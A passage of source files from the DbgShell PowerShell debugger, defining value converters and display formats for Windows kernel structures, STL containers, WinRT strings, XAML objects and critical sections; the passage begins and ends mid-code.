-Value { $str }.GetNewClosure() ` -Force return $val } finally { } } # end _*STRING converter # _HANDLE_TABLE has a FreeLists member declared as a _HANDLE_TABLE_FREE_LIST[1], but # the true number of elements in the array is nt!ExpFreeListCount. We'll use this # converter to automagically expand that out. # # TODO: before build 7773 this was different. Do we care about stuff that old? New-DbgValueConverterInfo -TypeName 'nt!_HANDLE_TABLE' -Converter { try { # N.B. We make a copy of the stock value, because it would be really bad if we # modified the stock value! # $_ is the symbol $val = $_.GetStockValue().PSObject.Copy() $commonParams = @{ 'InputObject' = $val; 'MemberType' = 'NoteProperty' } try { $numFreeLists = dt nt!ExpFreeListCount if( $null -ne $numFreeLists ) # not sure if this is possible. Is it in paged mem? { # I believe this is what ExpFreeListCount gets initialized to. Hopefully this is valid... $numFreeLists = [Math]::Min( $Debugger.GetNumberProcessors(), 128 ) } $s = $val.FreeLists.DbgGetSymbol() $rightSized = $s.AsArray( $numFreeLists ).Value $val.DbgReplaceMemberValue( 'FreeLists', $rightSized ) } catch { # We could be looking at bad data. return $null } # InsertTypeNameBefore -InputObject $val ` # -NewTypeName 'ConverterApplied:_HANDLE_TABLE' ` # -Before 'nt!_HANDLE_TABLE' return $val } finally { } } # end _HANDLE_TABLE converter New-DbgValueConverterInfo -TypeName 'nt!_EPROCESS' -Converter { try { # N.B. We make a copy of the stock value, because it would be really bad if we # modified the stock value! # $_ is the symbol $val = $_.GetStockValue().PSObject.Copy() $commonParams = @{ 'InputObject' = $val; 'MemberType' = 'NoteProperty' } # 'Session' is stored as a PVOID. Let's replace it with a strongly-typed pointer. # # (BTW... apparently this is true since build no. 2280. Do I care about dumps # older than that? (How old exactly is that? I think pretty old.) # TODO: Should we cache this type info? $t = dt 'nt!_MM_SESSION_SPACE' if( !$t ) { Write-Error "Could not find type 'nt!_MM_SESSION_SPACE'." return $null # signals that we can't do the conversion. } try { $session = $val.Session.DbgReinterpretPointeeType( $t ) $val.DbgReplaceMemberValue( 'Session', $session ) } catch { # We could be looking at bad data. # # In that case, should we replace with an error? Or just leave it? $problem = $_ $val.DbgReplaceMemberValue( 'Session', $problem ) } # # Let's add a convenient HandleCount property. The object table is in paged # memory, though, so it might not be available, so we'll make the value # nullable. # # The FreeLists variable-sized array should have already been right-sized by # the _HANDLE_TABLE converter. $handleCount = $null if( $val.ObjectTable -and ($val.ObjectTable -isnot [MS.Dbg.DbgValueError]) ) { $handleCount = 0 foreach( $fl in $val.ObjectTable.FreeLists ) { if( $fl.HandleCount -ne [UInt32]::MaxValue ) { $handleCount += $fl.HandleCount } } } Add-Member @commonParams -Name 'HandleCount' -Value $handleCount # # Let's see if we can get the full (un-truncated) image name. # $fullName = $null # I think it could be in paged memory. if( $val.SeAuditProcessCreationInfo -and ($val.SeAuditProcessCreationInfo -isnot [MS.Dbg.DbgValueError]) ) { $fullName = $val.SeAuditProcessCreationInfo.ImageFileName.Name.ToString() } Add-Member @commonParams -Name 'FullImageFileName' -Value $fullName # # Let's replace the ImageFileName byte[15] with an ImageFileName string. # $imageFileNameStr = $val.ImageFileName.DbgGetSymbol().ReadAs_szString() if( !$imageFileNameStr ) { $imageFileNameStr = 'System' } elseif( $fullName ) { # Because the "real" ImageFileName is truncated at 15 chars: if we have # the full name, let's use that to get an un-truncated version. $imageFileNameStr = [System.IO.Path]::GetFileName( $fullName ) } $val.DbgReplaceMemberValue( 'ImageFileName', $imageFileNameStr ) # # Mark the fact that this converter has been applied: # InsertTypeNameBefore -InputObject $val ` -NewTypeName 'ConverterApplied:_EPROCESS' ` -Before 'nt!_EPROCESS' return $val } finally { } } # end _EPROCESS converter New-DbgValueConverterInfo -TypeName 'nt!_KTHREAD' -Converter { try { # N.B. We make a copy of the stock value, because it would be really bad if we # modified the stock value! # $_ is the symbol $val = $_.GetStockValue().PSObject.Copy() $commonParams = @{ 'InputObject' = $val; 'MemberType' = 'NoteProperty' } # # 'State' is stored as a byte. Let's change the type to nt!_KTHREAD_STATE. # # TODO: Should we cache this type info? $t = dt 'nt!_KTHREAD_STATE' if( !$t ) { Write-Error "Could not find type 'nt!_KTHREAD_STATE'." return $null # signals that we can't do the conversion. } try { $newSym = $val.State.DbgGetSymbol().ChangeType( $t ) $val.DbgReplaceMemberValue( 'State', $newSym.Value ) } catch { # We could be looking at bad data. # # In that case, should we replace with an error? Or just leave it? $problem = $_ $val.DbgReplaceMemberValue( 'State', $problem ) } # # Mark the fact that this converter has been applied: # InsertTypeNameBefore -InputObject $val ` -NewTypeName 'ConverterApplied:_KTHREAD' ` -Before 'nt!_KTHREAD' return $val } finally { } } # end _KTHREAD converter } ================================================ FILE: DbgShell/x86/Debugger/Debugger.Converters.WinRT.ps1 ================================================ Register-DbgValueConverterInfo { Set-StrictMode -Version Latest New-DbgValueConverterInfo -TypeName @( '!Platform::Guid' ) -Converter { try { # $_ is the symbol $sym = $_ return $sym.ReadAs_Guid() } finally { } } # end Guid converter } ================================================ FILE: DbgShell/x86/Debugger/Debugger.Converters.stl.ps1 ================================================ Register-DbgValueConverterInfo { Set-StrictMode -Version Latest New-DbgValueConverterInfo -TypeName '!std::basic_string' -Converter { try { # $_ is the symbol $stockValue = $_.GetStockValue() # Handle Dev14 types: if( $stockValue.PSObject.Properties.Match( '_Mypair' ).Count ) { # New in Dev14 (VS 2015) $stockValue = $stockValue._Mypair._Myval2 } # What size characters are we dealing with? $charSize = $stockValue._Bx._Ptr.DbgGetSymbol().Type.PointeeType.Size if( ($charSize -ne 1) -and ($charSize -ne 2) ) { # Unusual character size. return $null # this means that we couldn't convert it } # Small-string optimization: will it fit into the buffer? # +1 for terminating null. if( (($stockValue._Mysize + 1) * $charSize) -le ($stockValue._Bx._Buf.DbgGetSymbol().Type.Size) ) # Or should I just hardcode 16? { if( 1 -eq $charSize ) { return $stockValue._Bx._Buf.DbgGetSymbol().ReadAs_szString() } else { return $stockValue._Bx._Buf.DbgGetSymbol().ReadAs_wszString() } } else { return $stockValue._Bx._Ptr } } finally { } } New-DbgValueConverterInfo -TypeName '!std::vector' -Converter { try { # $_ is the symbol $stockValue = $_.GetStockValue() # Handle Dev14 types: if( $stockValue.PSObject.Properties.Match( '_Mypair' ).Count ) { # New in Dev14 (VS 2015) $stockValue = $stockValue._Mypair._Myval2 } $val = $null [bool] $unallocatedEmpty = $false if( $stockValue._Myfirst.DbgIsNull() ) { $unallocatedEmpty = $true $val = New-Object 'System.Collections.Generic.List[PSObject]' -ArgumentList @( 0 ) } else { $unallocatedEmpty = $false $elemType = $stockValue._Myfirst.DbgGetSymbol().Type.PointeeType $numElements = $stockValue._Mylast - $stockValue._Myfirst # N.B. Pointer arithmetic (takes element size into account) $val = New-Object 'System.Collections.Generic.List[PSObject]' -ArgumentList @( $numElements ) for( [int] $i = 0; $i -lt $numElements; $i++ ) { $name = $_.Name + '[' + $i.ToString() + ']' # N.B. Pointer arithmetic: $elem = Get-DbgSymbolValue -Address ($stockValue._Myfirst + $i) ` -Type $elemType ` -NameForNewSymbol $name $null = $val.Add( $elem ) } } $val = $val.AsReadOnly() if( $unallocatedEmpty ) { Add-Member -InputObject $val -MemberType ScriptMethod -Name 'capacity' -Value { 0 } Add-Member -InputObject $val -MemberType ScriptMethod -Name 'size' -Value { 0 } } else { $capacity = $stockValue._MyEnd - $stockValue._Myfirst # N.B. Pointer arithmetic Add-Member -InputObject $val -MemberType ScriptMethod -Name 'capacity' -Value { $capacity }.GetNewClosure() Add-Member -InputObject $val -MemberType ScriptMethod -Name 'size' -Value { $numElements }.GetNewClosure() } Add-Member -InputObject $val -MemberType ScriptMethod -Name 'ToString' -Value { $stockValue.ToString() }.GetNewClosure() -Force Write-Collection -Collection $val } finally { } } # end vector converter # vector is specialized, and so needs its own specialized converter. New-DbgValueConverterInfo -TypeName '!std::vector' -Converter { try { # $_ is the symbol $sym = $_ $stockValue = $sym.GetStockValue() $bitArray = $null if( 0 -eq $stockValue._Mysize ) { $bitArray = new-object 'MS.Dbg.FreezableBitArray' -arg @( 0 ) } else { # When I wrote the old VS12 code, I must not have realized that I could just # pass _Myvec directly to the FreezableBitArray constructor (PS is able to # coerce the type enough). # # $rawVector = $sym.Children[ '_Myvec' ]. # Children[ '_MyFirst' ]. # Children[ 0 ]. # follow pointer # ReadAs_TArray( $stockValue._Myvec.Count, [int] ) $bitArray = new-object 'MS.Dbg.FreezableBitArray' -arg @( $stockValue._Mysize, $stockValue._Myvec ) } $bitArray.Freeze() Write-Collection -Collection $bitArray } finally { } } # end vector converter # We need to protect against bad/unavailable data, without completely giving up on the # whole tree. function ChildLooksOkay( $rootAddr, [string] $which, $child ) { if( $child.DbgIsNull() ) { Write-Warning "$which child unexpectedly null for node at $(Format-DbgAddress $rootAddr)." return $false } elseif( $child.DbgGetPointee() -is [MS.Dbg.DbgUnavailableValue] ) { Write-Warning "$which child value unavailable for node at $(Format-DbgAddress $rootAddr)." return $false } elseif( $child._Isnil -ne 0 ) { Write-Warning "$which child _Isnil unexpectedly non-zero for node at $(Format-DbgAddress $rootAddr)." return $false } return $true } # end ChildLooksOkay() function ProcessSubtree( $rootNode, $scriptBlockForRootVal ) { # We'll process them in the proper order: left subtreee, current # node, right subtree. if( $dummyHead -ne $rootNode._Left ) { # We need to protect against bad/unavailable data. if( (ChildLooksOkay $rootNode.DbgGetPointer() 'Left' $rootNode._Left) ) { ProcessSubtree $rootNode._Left $scriptBlockForRootVal } } & $scriptBlockForRootVal $rootNode._Myval if( $dummyHead -ne $rootNode._Right ) { # We need to protect against bad/unavailable data. if( (ChildLooksOkay $rootNode.DbgGetPointer() 'Right' $rootNode._Right) ) { ProcessSubtree $rootNode._Right $scriptBlockForRootVal } } } # end ProcessSubtree New-DbgValueConverterInfo -TypeName @( '!std::map', '!std::multimap' ) -Converter { # map and multimap are basically the same (for our purposes), except one can have # duplicate keys. The PsIndexedDictionary can handle that. try { # $_ is the symbol $stockValue = $_.GetStockValue() # Handle Dev14 types: if( $stockValue.PSObject.Properties.Match( '_Mypair' ).Count ) { # New in Dev14 (VS 2015) # I don't know why there are two layers of _Myval2 here... $stockValue = $stockValue._Mypair._Myval2._Myval2 } # This "root" node does not have a value, and is used as a sentinel (sub-tree pointers # point to the root to mean "no sub-tree"). $dummyHead = $stockValue._Myhead <#assert#> if( $dummyHead._Isnil -ne 1 ) { throw "Expected dummy root to be 'nil'" } $d = New-Object "MS.Dbg.PsIndexedDictionary" -ArgumentList @( $stockValue._Mysize ) # We'll do a recursive traversal of the tree, using this function: if( 0 -ne $stockValue._Mysize ) { ProcessSubtree $dummyHead._Parent { $d.Add( $args[ 0 ].first, $args[ 0 ].second ) } } Add-Member -InputObject $d -MemberType ScriptMethod -Name 'ToString' -Value { $stockValue.ToString() }.GetNewClosure() -Force $d.Freeze() Write-Collection -Collection $d } finally { } } -CaptureContext # end map converter New-DbgValueConverterInfo -TypeName '!std::set', '!std::multiset' -Converter { # Sets are pretty much just like maps, but no key/value distinction (no # _Myval.first, _Myval.second--it's just _Myval). # # TODO: Factor out shared script once we have got script sharing worked out. try { # $_ is the symbol $stockValue = $_.GetStockValue() # Handle Dev14 types: if( $stockValue.PSObject.Properties.Match( '_Mypair' ).Count ) { # New in Dev14 (VS 2015) # I don't know why there are two layers of _Myval2 here... $stockValue = $stockValue._Mypair._Myval2._Myval2 } # This "root" node does not have a value, and is used as a sentinel (sub-tree pointers # point to the root to mean "no sub-tree"). $dummyHead = $stockValue._Myhead <#assert#> if( $dummyHead._Isnil -ne 1 ) { throw "Expected dummy root to be 'nil'" } # Since sets are ordered, and we also don't want to have problems with # the default comparer tossing out values as duplicate, we'll just use # a simple list to represent the set. $list = New-Object "System.Collections.Generic.List[PSObject]" -ArgumentList @( $stockValue._Mysize ) # We'll do a recursive traversal of the tree, using this function: if( 0 -ne $stockValue._Mysize ) { ProcessSubtree $dummyHead._Parent { $list.Add( $args[ 0 ] ) } } $list = $list.AsReadOnly() Add-Member -InputObject $list -MemberType ScriptMethod -Name 'ToString' -Value { $stockValue.ToString() }.GetNewClosure() -Force Write-Collection -Collection $list } finally { } } -CaptureContext # end set converter New-DbgValueConverterInfo -TypeName '!std::list' -Converter { try { # $_ is the symbol $stockValue = $_.GetStockValue() # Handle Dev14 types: if( $stockValue.PSObject.Properties.Match( '_Mypair' ).Count ) { # New in Dev14 (VS 2015) $stockValue = $stockValue._Mypair._Myval2 } # This "root" node does not have a [valid] value, and is used as a sentinel (the # first and last list elements point to it from their _Prev and _Next pointers). $dummyHead = $stockValue._Myhead # It's a bi-directional linked list. head._Prev points to the end of the list, and # head._Next points to the first of the list. $list = New-Object "System.Collections.Generic.List[PSObject]" -ArgumentList @( $stockValue._Mysize ) if( 0 -ne $stockValue._Mysize ) { $curNode = $dummyHead._Next do { $list.Add( $curNode._Myval ) $curNode = $curNode._Next } while( $curNode -ne $dummyHead ) } <# assert #> if( $list.Count -ne $stockValue._Mysize ) { throw "sizes don't match!" } $list = $list.AsReadOnly() Add-Member -InputObject $list -MemberType ScriptMethod -Name 'ToString' -Value { $stockValue.ToString() }.GetNewClosure() -Force Write-Collection -Collection $list } finally { } } # end list converter New-DbgValueConverterInfo -TypeName '!std::forward_list' -Converter { try { # $_ is the symbol $stockValue = $_.GetStockValue() # Handle Dev14 types: if( $stockValue.PSObject.Properties.Match( '_Mypair' ).Count ) { # New in Dev14 (VS 2015) $stockValue = $stockValue._Mypair._Myval2 } # It's a unidirectional linked list. $list = New-Object "System.Collections.Generic.List[PSObject]" $curNode = $stockValue._Myhead while( !$curNode.DbgIsNull() ) { $list.Add( $curNode._Myval ) $curNode = $curNode._Next } $list = $list.AsReadOnly() # Preserve the original ToString() so we get the type name 'n stuff: Add-Member -InputObject $list ` -MemberType ScriptMethod ` -Name 'ToString' ` -Value { $stockValue.ToString() }.GetNewClosure() ` -Force # Use Write-Collection to prevent PS from unrolling the collection. Write-Collection -Collection $list } finally { } } # end forward_list converter New-DbgValueConverterInfo -TypeName @( '!stdext::hash_map', '!std::unordered_map') -Converter { try { # $_ is the symbol $stockValue = $_.GetStockValue() # It has some fancy stuff... but it also has a list for easy iteration. We'll # just use that. $d = New-Object "MS.Dbg.PsIndexedDictionary" -ArgumentList @( $stockValue._List.Count ) foreach( $pair in $stockValue._List ) { $d.Add( $pair.first, $pair.second ) } $d.Freeze() Add-Member -InputObject $d -MemberType ScriptMethod -Name 'ToString' -Value { $stockValue.ToString() }.GetNewClosure() -Force Write-Collection -Collection $d } finally { } } # end hash_map converter New-DbgValueConverterInfo -TypeName '!std::unique_ptr' -Converter { try { # $_ is the symbol $stockValue = $_.GetStockValue() # Handle Dev14 types: if( $stockValue.PSObject.Properties.Match( '_Mypair' ).Count ) { # New in Dev14 (VS 2015) return $stockValue._Mypair._Myval2 } else { # unique_ptr is just a resource management wrapper around a pointer. We can make # things easier to see in the debugger by just hiding the unique_ptr layer (which # has nothing in it anyway; just the pointer). return $stockValue._Myptr } } finally { } } # end unique_ptr converter New-DbgValueConverterInfo -TypeName '!std::tr2::sys::basic_path' -Converter { try { # $_ is the symbol $stockValue = $_.GetStockValue() # There's only one member: return $stockValue._Mystr } finally { } } # end basic_path converter } ================================================ FILE: DbgShell/x86/Debugger/Debugger.Converters.win32.ps1 ================================================ Register-DbgValueConverterInfo { Set-StrictMode -Version Latest New-DbgValueConverterInfo -TypeName '!_RTL_CRITICAL_SECTION' -Converter { try { # N.B. We make a copy of the stock value, because it would be really bad if we # modified the stock value! # $_ is the symbol $val = $_.GetStockValue().PSObject.Copy() [bool] $isLocked = $false $waiterWoken = $null $numWaitingThreads = $null # Is it a "new-style" critsec? # TODO: When did "new-style" critsecs show up? Do I really need to care about "old-style"? [bool] $isNewStyleCritsec = ($null -ne (Get-DbgSymbol 'ntdll!RtlIsCriticalSectionLocked*')) if( $isNewStyleCritsec ) { $isLocked = 0 -eq ($val.LockCount -band 0x01) $waiterWoken = 0 -eq ($val.LockCount -band 0x02) $numWaitingThreads = (-1 - $val.LockCount) -shr 2 } else { $isLocked = $val.LockCount -ge 0 } $owningThreadDbgId = 0 try { [UInt32] $owningThreadSysTid = ([UInt32] ([UInt64] $val.OwningThread)) if( 0 -ne $owningThreadSysTid ) { $owningThreadDbgId = $Debugger.GetThreadDebuggerIdBySystemTid( $owningThreadSysTid ) } } catch { $problem = $_ # We could be looking at bad data. # Is this okay, using a ColorString instead of, say, 0xdeadbeef? $owningThreadDbgId = New-ColorString -Foreground 'Red' -Content '' } $commonParams = @{ 'InputObject' = $val; 'MemberType' = 'NoteProperty' } Add-Member @commonParams -Name 'IsLocked' -Value $isLocked Add-Member @commonParams -Name 'WaiterWoken' -Value $waiterWoken Add-Member @commonParams -Name 'NumWaitingThreads' -Value $numWaitingThreads Add-Member @commonParams -Name 'OwningThreadDbgId' -Value $owningThreadDbgId InsertTypeNameBefore -InputObject $val ` -NewTypeName 'ConverterApplied:_RTL_CRITICAL_SECTION' ` -Before '!_RTL_CRITICAL_SECTION' return $val } finally { } } # end _RTL_CRITICAL_SECTION converter } ================================================ FILE: DbgShell/x86/Debugger/Debugger.Converters.wrl.ps1 ================================================ Register-DbgValueConverterInfo { Set-StrictMode -Version Latest # We will use this "module" as a place to store stuff across invocations--namely, the # HSTRING_HEADER_INTERNAL type info. $wrlConverterCacheMod = New-Module { } & $wrlConverterCacheMod { $script:HSTRING_HEADER_INTERNAL_type = $null } # # TODO: BUGBUG: I should probably get rid of this caching stuff, because it won't work # for scenarios like 1) attach to x64 target, 2) dump an HSTRING, 3) detach, 4) attach # to an x86 target, 5) dump an HSTRING. But it's a really nice example of how to use # -CaptureContext and script-level stuff to store info. # # This function will get the type info out of the $wrlConverterCacheMod, or cache it # there if it hasn't been fetched yet. function _GetHstringHeaderType() { $headerType = & $wrlConverterCacheMod { $script:HSTRING_HEADER_INTERNAL_type } if( $null -eq $headerType ) { # This commented-out line is handy to convince yourself that we really only # load it once. #[Console]::WriteLine( "Trying to get HSTRING_HEADER_INTERNAL type..." ) $headerType = dt 'combase!HSTRING_HEADER_INTERNAL' -TypesOnly if( !$headerType ) { # TODO: Will this happen for public symbols? Maybe people should be # able to read strings even without private symbols. return } else { & $wrlConverterCacheMod { $script:HSTRING_HEADER_INTERNAL_type = $args[ 0 ] } $headerType } } return $headerType } New-DbgValueConverterInfo -TypeName @( '!HSTRING__', '!Platform::String' )-Converter { try { # $_ is the symbol $sym = $_ $headerType = _GetHstringHeaderType if( $null -eq $headerType ) { # TODO: Will this happen for public symbols? Maybe people should be able # to read strings even without private symbols. return $sym.StockValue } $header = dt $sym.Address $headerType $str = '' if( !$header.stringRef.DbgIsNull() ) { # Just using $header.stringRef would work fine, except there might be # embedded nulls. $str = $Debugger.ReadMemAs_UnicodeString( $header.stringRef.DbgGetPointer(), ($header.length * 2) ) } $str = Add-Member -InputObj $str -MemberType 'NoteProperty' -Name 'Header' -Value $header -PassThru return $str } finally { } } -CaptureContext # end HSTRING__ converter } ================================================ FILE: DbgShell/x86/Debugger/Debugger.Converters.xaml.ps1 ================================================ Register-DbgValueConverterInfo { Set-StrictMode -Version Latest New-DbgValueConverterInfo -TypeName '!CXString' -Converter { try { # $_ is the symbol $sym = $_ $stockValue = $sym.GetStockValue() # TODO: I don't actually know where CXString is defined, so I don't # know what a bunch of this stuff is about... # TODO: What is that low bit for? $ptr = $stockValue.pString.DbgGetPointer() -band (-bnot ([UInt64] 1)) $str = $Debugger.ReadMemAs_UnicodeString( $ptr, ($stockValue.cString * 2) ) # TODO: What do the flags mean? For now I'll just stick 'em on. $str = Add-Member -InputObject $str -MemberType NoteProperty -Name 'flags' -Value $stockValue.flags -Force -PassThru return $str } finally { } } # end CXString converter New-DbgValueConverterInfo -TypeName 'Windows_UI_Xaml!CDependencyObject' -Converter { try { # $_ is the symbol $sym = $_ # N.B. We make a copy of the stock value, because it would be really bad if we # modified the stock value! # $_ is the symbol $val = $_.GetStockValue().PSObject.Copy() [string] $name = spoi $val.m_pstrName # Not all dependency objects have a class name (for instance, HWCompTreeNode), # but I'll stick a ClassName property on them all for convenience. # # (The call to DbgGetOperativeSymbol() is so that we get the detected derived type, # not the declared type (which is CDependencyObject, which does not have an # m_pClassName member)). [string] $className = '' if( $val.DbgGetOperativeSymbol().Type.Members.HasItemNamed( 'm_pClassName' ) ) { $className = spoi $val.m_pClassName } Add-Member -InputObj $val -Name 'Name' -MemberType NoteProperty -Value $name Add-Member -InputObj $val -Name 'ClassName' -MemberType NoteProperty -Value $className Add-Member -InputObj $val -Name 'Children' -MemberType ScriptProperty -Value { if( $val.m_pChildren -eq 0 ) { # Children pointer is null. return } if( $val.m_pChildren.m_ppBlock -ne 0 ) { Write-Warning "I'm not sure what to do with non-null m_ppBlock." } for( [int] $i = 0; $i -lt $val.m_pChildren.m_nObject; $i++ ) { poi $val.m_pChildren.m_pFlattened[ $i ] } }.GetNewClosure() # end 'Children' synthetic property return $val } finally { } } # end Windows_UI_Xaml!CDependencyObject converter } ================================================ FILE: DbgShell/x86/Debugger/Debugger.DebuggeeTypes.NT.psfmt ================================================ # # Format definitions: these are analogous to the entries in a .ps1xml, # except they are consumed by our alternate formatting engine, not the built-in # PowerShell formatting engine. # # The definitions in this file are specifically for "debugee types"-- # definitions of how to display values in the debuggee. The type names # typically have a "!" in them, and can be module-qualified (but do not have to # be). The alternate formatting engine can find these view definitions because # the alternate formatting engine use the "TypeNames" list of a PSObject to # look up view definitions, and the debugger module inserts the debuggee type # names into the "TypeNames" list of PSObjects that it generates to represent # objects in the debuggee. # Register-AltTypeFormatEntries { New-AltTypeFormatEntry -TypeName 'nt!_EPROCESS' { # A note about single-line view definitions (AltSingleLineViewDefinition): # # These type of formatting definitions are "special", in that the # Out-Default proxy will never choose to use the alternate formatting # engine based on the presence of a single-line view definition--you # have to call Format-AltSingleLine explicitly for these to be used. New-AltSingleLineViewDefinition { $cs = New-ColorString $cs.Append( (Format-DbgAddress $_.DbgGetOperativeSymbol().Address) ). Append( ' (0x' ). Append( ($_.UniqueProcessId.DbgGetPointer().ToString( 'x' )) ). Append( ') ' ). AppendPushPopFg( [ConsoleColor]::White, $_.ImageFileName.DbgGetSymbol().ReadAs_szString() ) } # end AltSingleLineViewDefinition New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Address' -Width 17 -Alignment Left -Tag 'Address' -Script { Format-DbgAddress $_.DbgGetOperativeSymbol().Address } # New-AltScriptColumn -Label 'Ses' -Width 3 -Alignment Right -Script { # $_.Session.SessionId # } # New-AltScriptColumn -Label 'PEB' -Width 17 -Alignment Left -Tag 'Address' -Script { # Format-DbgAddress $_.Peb.DbgGetPointer() # } New-AltScriptColumn -Label 'Cid' -Width 5 -Alignment Right -Script { $_.UniqueProcessId.DbgGetPointer().ToString( 'x' ) } New-AltScriptColumn -Label 'Parent' -Width 6 -Alignment Right -Script { $_.InheritedFromUniqueProcessId.DbgGetPointer().ToString( 'x' ) } # TODO: HandleCount (virtual property), what else? New-AltScriptColumn -Label 'Image' -Alignment Left -Script { # TODO: sym value converter should add FullImageName property # and make ImageFileName a string $_.ImageFileName.DbgGetSymbol().ReadAs_szString() } } # End Columns } # end AltTableViewDefinition } # end Type !_EPROCESS New-AltTypeFormatEntry -TypeName 'ConverterApplied:_EPROCESS' { New-AltSingleLineViewDefinition { $cs = New-ColorString $cs.Append( (Format-DbgAddress $_.DbgGetOperativeSymbol().Address) ). Append( ' (0x' ). Append( ($_.UniqueProcessId.DbgGetPointer().ToString( 'x' )) ). Append( ') ' ). AppendPushPopFg( [ConsoleColor]::White, $_.ImageFileName ) } # end AltSingleLineViewDefinition New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Address' -Width 17 -Alignment Left -Tag 'Address' -Script { Format-DbgAddress $_.DbgGetOperativeSymbol().Address } New-AltScriptColumn -Label 'Ses' -Width 3 -Alignment Right -Script { if( !$_.Session.DbgIsNull() ) { if( 0 -eq $_.Session.SessionId ) { New-ColorString -Content '0' -Fore Blue } else { $_.Session.SessionId } } else { '-' } } New-AltScriptColumn -Label 'Cid' -Width 5 -Alignment Right -Script { $_.UniqueProcessId.DbgGetPointer().ToString( 'x' ) } New-AltScriptColumn -Label 'Parent' -Width 6 -Alignment Right -Script { $_.InheritedFromUniqueProcessId.DbgGetPointer().ToString( 'x' ) } New-AltScriptColumn -Label 'Handles' -Width 7 -Alignment Right -Script { if( $null -eq $_.HandleCount ) { return New-ColorString -Content ' - ' -Foreground Magenta } $_.HandleCount } New-AltScriptColumn -Label 'Image' -Alignment Left -Script { if( $_.BreakOnTermination ) { # It's a "critical" process (exit --> bugcheck). New-ColorString -Content $_.ImageFileName -Fore Magenta } else { $_.ImageFileName } } # TODO: Elapsed time? Commit charge? Virtual size? Thread count? GUI? # User? Current process indicator? } # End Columns } # end AltTableViewDefinition } # end Type ConverterApplied:_EPROCESS New-AltTypeFormatEntry -TypeName 'nt!_ETHREAD' { # A note about single-line view definitions (AltSingleLineViewDefinition): # # These type of formatting definitions are "special", in that the # Out-Default proxy will never choose to use the alternate formatting # engine based on the presence of a single-line view definition--you # have to call Format-AltSingleLine explicitly for these to be used. New-AltSingleLineViewDefinition { $cs = (New-ColorString). Append( (Format-DbgTypeName 'ETHREAD') ). Append( ' ' ). Append( (Format-DbgAddress $_.DbgGetOperativeSymbol().Address) ). Append( ' (' ). AppendPushPopFg( [ConsoleColor]::DarkGray, ($_.Cid.UniqueProcess.DbgGetPointer().ToString( 'x' )) ). Append( '.' ). AppendPushPopFg( [ConsoleColor]::White, ($_.Cid.UniqueThread.DbgGetPointer().ToString( 'x' )) ). Append( ') ' ) $t = dt nt!_KTHREAD_STATE if( $t.ByName.Running -eq $_.Tcb.State ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Green, 'RUNNING' ). Append( ' on processor ' ). AppendPushPopFg( [ConsoleColor]::White, $_.Tcb.NextProcessor ) } elseif( $t.ByName.Ready -eq $_.Tcb.State ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkGreen, 'Ready' ). Append( ' on processor ' ). Append( $_.Tcb.NextProcessor ) } elseif( $t.ByName.Waiting -eq $_.Tcb.State ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Yellow, 'WAIT' ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Magenta, $_.Tcb.State.ToColorStringSimple().ToString() ) } return $cs } # end AltSingleLineViewDefinition New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Address' -Width 17 -Alignment Left -Tag 'Address' -Script { Format-DbgAddress $_.DbgGetOperativeSymbol().Address } New-AltScriptColumn -Label 'Cid.Tid' -Width 9 -Alignment Right -Script { (New-ColorString -Content $_.Cid.UniqueProcess.DbgGetPointer().ToString( 'x' ) -Fore DarkGray). Append( '.' ). AppendPushPopFg( [ConsoleColor]::White, ($_.Cid.UniqueThread.DbgGetPointer().ToString( 'x' )) ) } } # End Columns } # end AltTableViewDefinition } # end Type !_ETHREAD } # end TypeEntries ================================================ FILE: DbgShell/x86/Debugger/Debugger.DebuggeeTypes.Win32.psfmt ================================================ # # Format definitions: these are analogous to the entries in a .ps1xml, # except they are consumed by our alternate formatting engine, not the built-in # PowerShell formatting engine. # # The definitions in this file are specifically for "debugee types"-- # definitions of how to display values in the debuggee. The type names # typically have a "!" in them, and can be module-qualified (but do not have to # be). The alternate formatting engine can find these view definitions because # the alternate formatting engine use the "TypeNames" list of a PSObject to # look up view definitions, and the debugger module inserts the debuggee type # names into the "TypeNames" list of PSObjects that it generates to represent # objects in the debuggee. # Register-AltTypeFormatEntries { # N.B. These view definitions only apply to _RTL_CRITICAL_SECTION objects that have # had the _RTL_CRITICAL_SECTION value converter applied. New-AltTypeFormatEntry -TypeName 'ConverterApplied:_RTL_CRITICAL_SECTION' { # A note about single-line view definitions (AltSingleLineViewDefinition): # # These type of formatting definitions are "special", in that the # Out-Default proxy will never choose to use the alternate formatting # engine based on the presence of a single-line view definition--you # have to call Format-AltSingleLine explicitly for these to be used. New-AltSingleLineViewDefinition { # It could be an object /derived/ from _RTL_CRITICAL_SECTION. Let's show the actual type: $realSymType = (New-ColorString).Append( (Get-TypeName $_.DbgGetOperativeSymbol()) ) # The DbgUdtValue formatting code pre-screens for unavailable # values; we can assume the value is available here. if( !$_.IsLocked ) { return $realSymType.Append( ': ' ).AppendPushPopFg( [ConsoleColor]::Green, 'Not locked.' ) } else { return $realSymType.Append( ': ' ).AppendPushPopFg( [ConsoleColor]::Yellow, "LOCKED, by thread: $($_.OwningThreadDbgId)" ) } } # end AltSingleLineViewDefinition } # end Type !_RTL_CRITICAL_SECTION New-AltTypeFormatEntry -TypeName '!_ULARGE_INTEGER' { New-AltSingleLineViewDefinition { (Format-DbgTypeName '_ULARGE_INTEGER'). Append( ' QuadPart: ' ). Append( (Format-DbgUInt64 $_.QuadPart) ) } # end AltSingleLineViewDefinition } # end Type !_ULARGE_INTEGER New-AltTypeFormatEntry -TypeName '!_LARGE_INTEGER' { New-AltSingleLineViewDefinition { (Format-DbgTypeName '_LARGE_INTEGER'). Append( ' QuadPart: ' ). # TODO: hmm... dbgeng still uses hex here. Should I follow suit? Append( $_.QuadPart.ToString() ) } # end AltSingleLineViewDefinition } # end Type !_LARGE_INTEGER # TODO: Does this cover everything? Maybe I should just apply to System.Boolean... New-AltTypeFormatEntry -TypeName '!bool' { New-AltSingleLineViewDefinition { New-ColorString -Content "$_" -Foreground Magenta } # end AltSingleLineViewDefinition } # end Type !bool New-AltTypeFormatEntry -TypeName '!_LIST_ENTRY' { New-AltSingleLineViewDefinition { (Format-DbgTypeName '_LIST_ENTRY'). AppendPushPopFg( [ConsoleColor]::Cyan, ' [ ' ). Append( (Format-DbgAddress 